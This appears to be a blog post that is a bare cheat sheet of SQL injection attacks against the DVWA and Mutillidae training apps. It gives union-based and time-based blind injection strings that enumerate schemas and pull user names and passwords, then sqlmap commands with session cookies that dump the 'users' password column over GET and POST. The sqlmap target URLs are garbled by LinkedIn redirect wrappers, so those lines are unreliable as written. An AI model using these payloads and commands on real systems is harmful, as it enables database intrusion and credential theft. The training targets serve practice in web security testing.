' order by 2#
' union select database(),@@version#
' union select table_name,2 from information_schema.tables where table_schema='dvwa'#
' union select column_name,2 from information_schema.columns where table_name='users'#
' union select user,password from users#
============SQL INJECTION BLIND ================
' union select if((select database()='dvwa'),sleep(10),''),2#
=======SQLMAP with GET============
sqlmap --url="https://www.linkedin.com/redir/invalid-link-page?url=http%3A%2F%2F192%2e168%2e2%2e107%2Fdvwa%2Fvulnerabilities%2Fsqli_blind%2F%3Fid%3D1%26amp%3BSubmit%3DSubmit%23" --cookie=" security=low; PHPSESSID=32c59g18ms5iv07ktka1ml0ce3" --dbs
sqlmap --url="https://www.linkedin.com/redir/invalid-link-page?url=http%3A%2F%2F192%2e168%2e2%2e107%2Fdvwa%2Fvulnerabilities%2Fsqli_blind%2F%3Fid%3D1%26amp%3BSubmit%3DSubmit%23" --cookie=" security=low; PHPSESSID=32c59g18ms5iv07ktka1ml0ce3" -D "dvwa" --tables
sqlmap --url="https://www.linkedin.com/redir/invalid-link-page?url=http%3A%2F%2F192%2e168%2e2%2e107%2Fdvwa%2Fvulnerabilities%2Fsqli_blind%2F%3Fid%3D1%26amp%3BSubmit%3DSubmit%23" --cookie=" security=low; PHPSESSID=32c59g18ms5iv07ktka1ml0ce3" -D "dvwa" -T "users" --columns
sqlmap --url="https://www.linkedin.com/redir/invalid-link-page?url=http%3A%2F%2F192%2e168%2e2%2e107%2Fdvwa%2Fvulnerabilities%2Fsqli_blind%2F%3Fid%3D1%26amp%3BSubmit%3DSubmit%23" --cookie=" security=low; PHPSESSID=32c59g18ms5iv07ktka1ml0ce3" -D "dvwa" -T "users" -C "password" --dump
=========SQLMAP with POST==============
sqlmap --url="https://www.linkedin.com/redir/invalid-link-page?url=http%3A%2F%2F192%2e168%2e2%2e107%2Fmutillidae%2Findex%2ephp%3Fpage%3Dlogin%2ephp" --cookie=" PHPSESSID=32c59g18ms5iv07ktka1ml0ce3" --data="username=ewerer&password=werwerew&login-php-submit-button=Login" --dbs
sqlmap --url="https://www.linkedin.com/redir/invalid-link-page?url=http%3A%2F%2F192%2e168%2e2%2e107%2Fmutillidae%2Findex%2ephp%3Fpage%3Dlogin%2ephp" --cookie=" PHPSESSID=32c59g18ms5iv07ktka1ml0ce3" --data="username=ewerer&password=werwerew&login-php-submit-button=Login" -D "dvwa" --tables
sqlmap --url="https://www.linkedin.com/redir/invalid-link-page?url=http%3A%2F%2F192%2e168%2e2%2e107%2Fmutillidae%2Findex%2ephp%3Fpage%3Dlogin%2ephp" --cookie=" PHPSESSID=32c59g18ms5iv07ktka1ml0ce3" --data="username=ewerer&password=werwerew&login-php-submit-button=Login" -D "dvwa" --tables -T "users" --columns
sqlmap --url="https://www.linkedin.com/redir/invalid-link-page?url=http%3A%2F%2F192%2e168%2e2%2e107%2Fmutillidae%2Findex%2ephp%3Fpage%3Dlogin%2ephp" --cookie=" PHPSESSID=32c59g18ms5iv07ktka1ml0ce3" --data="username=ewerer&password=werwerew&login-php-submit-button=Login" -D "dvwa" --tables -T "users" -C "password" --dump
=====THE END=====

0 komentar: